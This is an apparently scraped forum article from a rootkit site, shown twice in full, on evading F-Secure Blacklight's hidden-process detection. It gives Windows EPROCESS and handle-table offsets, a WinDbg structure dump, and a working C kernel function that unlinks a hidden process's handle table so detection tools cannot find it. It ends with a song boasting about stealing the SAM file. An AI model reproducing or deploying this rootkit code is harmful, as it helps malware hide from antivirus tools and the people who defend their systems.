Avoiding new methods of process detection
By: fuzen_op
A lot of effort has been made recently to detect hidden processes, even those
hidden using DKOM tricks. Some rootkit authors have fired back by unhiding
or unhooking when the detection software runs. This is effective, but I
want to concentrate on the algorithm used by the detection software. Let'
s defeat them in the kernel, brains to brains, man to man. Let the cold war
continue.
I had been curious about how Blacklight from F-secure detected processes
hidden by FU. This was largely a curiousity because processes are not
necessary
in a sophisticated, special-purpose rootkit. This article is not against
the folks at F-secure. I think their method was clever. Recently they
released
another version of Blacklight that I am told uses a different method for
detection than the one I will outline below. Now that we have that out of
the way, let's get down to the events as they happened.
So, Blacklight detected processes hidden by FU. Good for them. I wonder how
they do it. A colleague mentioned that they may be walking the handle table
for CSRSS.EXE to find all the Win32 processes. Hmmm. That would be a nice
trick. So, I set off to get myself out of the handle table for CSRSS.EXE
. This meant I had to some research on the structure of the handle table.
First, where do you find a process' handle table. Well, the handle table
structure is pointed to by the process' EPROCESS block. Want to know where
? Try these offsets.
Windows 2000 = 0x128;
Windows XP = 0xc4;
Windows 2003 = 0xc4;// ????
Yeah, I did not test every service pack, but hey, that is what you get for
nothin.
Now time to break out the trusty WinDbg to see what this handle table
structure
looks like. (This is for Windows XP SP 2, and yes it does change.)
kd> dt nt!_HANDLE_TABLE
+0x000 TableCode : Uint4B
+0x004 QuotaProcess : Ptr32 _EPROCESS
+0x008 UniqueProcessId : Ptr32 Void
+0x00c HandleTableLock : [4] _EX_PUSH_LOCK
+0x01c HandleTableList : _LIST_ENTRY
+0x024 HandleContentionEvent : _EX_PUSH_LOCK
+0x028 DebugInfo : Ptr32 _HANDLE_TRACE_DEBUG_INFO
+0x02c ExtraInfoPages : Int4B
+0x030 FirstFree : Uint4B
+0x034 LastFree : Uint4B
+0x038 NextHandleNeedingPool : Uint4B
+0x03c HandleCount : Int4B
+0x040 Flags : Uint4B
+0x040 StrictFIFO : Pos 0, 1 Bit
Ok, a lot of coding short, I wrote code to parse all the handles looking
for my EPROCESS or ETHREAD blocks of the process I just hid. So, I removed
the handles from CSRSS.EXE that were pointing to hidden processes or
threads
. But look closer at the HANDLE_TABLE. There is another LIST_ENTRY just like
the list entry FU disconnects to remove the process from the list of active
processes. Hmmm. What could this LIST_ENTRY point to? Do you suppose all
the handle tables are connected? That would be strange. Sur 'nough. You
can find all the processes on the system by finding one handle table
structure
and then walking the LIST_ENTRYs.
It turns out that Blacklight was exploiting the linked property of the
handle
tables to find the processes I hid. I had diconnected from this list just
as a precaution when I was removing myself from CSRSS.EXE. My original
instinct
that they were using all the handles in CSRSS.EXE to find me was incorrect
.
Want to play with this on your own. Well, you need the offset for the
LIST_ENTRY
for your OS. Try these:
Windows 2000 = 0x54;
Windows XP = 0x1c;
Windows 2003 = 0x1c;
Oh, here is the kernel function:
void UnHookHandleListEntry(PEPROCESS eproc,
DWORD d_handleTable,
DWORD d_handleList)
{
PLIST_ENTRY plist_hTable = NULL;
plist_hTable = (PLIST_ENTRY)((*(PDWORD)((DWORD) eproc + d_handleTable)
)
+ d_handleList);
// Change neighbors because they point fingers
*((DWORD *)plist_hTable->Blink) = (DWORD) plist_hTable->Flink;
*((DWORD *)plist_hTable->Flink+1) = (DWORD) plist_hTable->Blink;
// Change the current LIST_ENTRY
// so we don't point to crap
plist_hTable->Flink = (LIST_ENTRY *) &(plist_hTable->Flink);
plist_hTable->Blink = (LIST_ENTRY *) &(plist_hTable->Flink);
}
Well, that's about all I have to say.
To the Tune of Country Grammer By Nelly:
From broke to havin dough cause my price is Micro
Now I'm knockin like hackers on un-patched window's
Let Me in Now, Let Me In Now
Bill Gates, Donald Trump Let Me In Now
Spin Now, I got money to lend my hacker friends now
We in now, I got the SAM file
I win now
Seein Now through tha Windows Kernel I make my ends now
Word to Peter, Hoglund, Pedram, Martin, and SMB (smb will always be in our
thoughts)
read comments (15) / write comment
recent comments:
ring0 reply Ratter 24.May:10:34
Nice smokebomb 18.May:10:02
ring0 project blacksoulman 16.May:21:17
Excellent work, but.... valerino 16.May:14:38
Awesome Doc 16.May:13:10
By: fuzen_op
A lot of effort has been made recently to detect hidden processes, even those
hidden using DKOM tricks. Some rootkit authors have fired back by unhiding
or unhooking when the detection software runs. This is effective, but I
want to concentrate on the algorithm used by the detection software. Let'
s defeat them in the kernel, brains to brains, man to man. Let the cold war
continue.
I had been curious about how Blacklight from F-secure detected processes
hidden by FU. This was largely a curiousity because processes are not
necessary
in a sophisticated, special-purpose rootkit. This article is not against
the folks at F-secure. I think their method was clever. Recently they
released
another version of Blacklight that I am told uses a different method for
detection than the one I will outline below. Now that we have that out of
the way, let's get down to the events as they happened.
So, Blacklight detected processes hidden by FU. Good for them. I wonder how
they do it. A colleague mentioned that they may be walking the handle table
for CSRSS.EXE to find all the Win32 processes. Hmmm. That would be a nice
trick. So, I set off to get myself out of the handle table for CSRSS.EXE
. This meant I had to some research on the structure of the handle table.
First, where do you find a process' handle table. Well, the handle table
structure is pointed to by the process' EPROCESS block. Want to know where
? Try these offsets.
Windows 2000 = 0x128;
Windows XP = 0xc4;
Windows 2003 = 0xc4;// ????
Yeah, I did not test every service pack, but hey, that is what you get for
nothin.
Now time to break out the trusty WinDbg to see what this handle table
structure
looks like. (This is for Windows XP SP 2, and yes it does change.)
kd> dt nt!_HANDLE_TABLE
+0x000 TableCode : Uint4B
+0x004 QuotaProcess : Ptr32 _EPROCESS
+0x008 UniqueProcessId : Ptr32 Void
+0x00c HandleTableLock : [4] _EX_PUSH_LOCK
+0x01c HandleTableList : _LIST_ENTRY
+0x024 HandleContentionEvent : _EX_PUSH_LOCK
+0x028 DebugInfo : Ptr32 _HANDLE_TRACE_DEBUG_INFO
+0x02c ExtraInfoPages : Int4B
+0x030 FirstFree : Uint4B
+0x034 LastFree : Uint4B
+0x038 NextHandleNeedingPool : Uint4B
+0x03c HandleCount : Int4B
+0x040 Flags : Uint4B
+0x040 StrictFIFO : Pos 0, 1 Bit
Ok, a lot of coding short, I wrote code to parse all the handles looking
for my EPROCESS or ETHREAD blocks of the process I just hid. So, I removed
the handles from CSRSS.EXE that were pointing to hidden processes or
threads
. But look closer at the HANDLE_TABLE. There is another LIST_ENTRY just like
the list entry FU disconnects to remove the process from the list of active
processes. Hmmm. What could this LIST_ENTRY point to? Do you suppose all
the handle tables are connected? That would be strange. Sur 'nough. You
can find all the processes on the system by finding one handle table
structure
and then walking the LIST_ENTRYs.
It turns out that Blacklight was exploiting the linked property of the
handle
tables to find the processes I hid. I had diconnected from this list just
as a precaution when I was removing myself from CSRSS.EXE. My original
instinct
that they were using all the handles in CSRSS.EXE to find me was incorrect
.
Want to play with this on your own. Well, you need the offset for the
LIST_ENTRY
for your OS. Try these:
Windows 2000 = 0x54;
Windows XP = 0x1c;
Windows 2003 = 0x1c;
Oh, here is the kernel function:
void UnHookHandleListEntry(PEPROCESS eproc,
DWORD d_handleTable,
DWORD d_handleList)
{
PLIST_ENTRY plist_hTable = NULL;
plist_hTable = (PLIST_ENTRY)((*(PDWORD)((DWORD) eproc + d_handleTable)
)
+ d_handleList);
// Change neighbors because they point fingers
*((DWORD *)plist_hTable->Blink) = (DWORD) plist_hTable->Flink;
*((DWORD *)plist_hTable->Flink+1) = (DWORD) plist_hTable->Blink;
// Change the current LIST_ENTRY
// so we don't point to crap
plist_hTable->Flink = (LIST_ENTRY *) &(plist_hTable->Flink);
plist_hTable->Blink = (LIST_ENTRY *) &(plist_hTable->Flink);
}
Well, that's about all I have to say.
To the Tune of Country Grammer By Nelly:
From broke to havin dough cause my price is Micro
Now I'm knockin like hackers on un-patched window's
Let Me in Now, Let Me In Now
Bill Gates, Donald Trump Let Me In Now
Spin Now, I got money to lend my hacker friends now
We in now, I got the SAM file
I win now
Seein Now through tha Windows Kernel I make my ends now
Word to Peter, Hoglund, Pedram, Martin, and SMB (smb will always be in our
thoughts)
read comments (15) / write comment
recent comments:
ring0 reply Ratter 24.May:10:34
Nice smokebomb 18.May:10:02
ring0 project blacksoulman 16.May:21:17
Excellent work, but.... valerino 16.May:14:38
Awesome Doc 16.May:13:10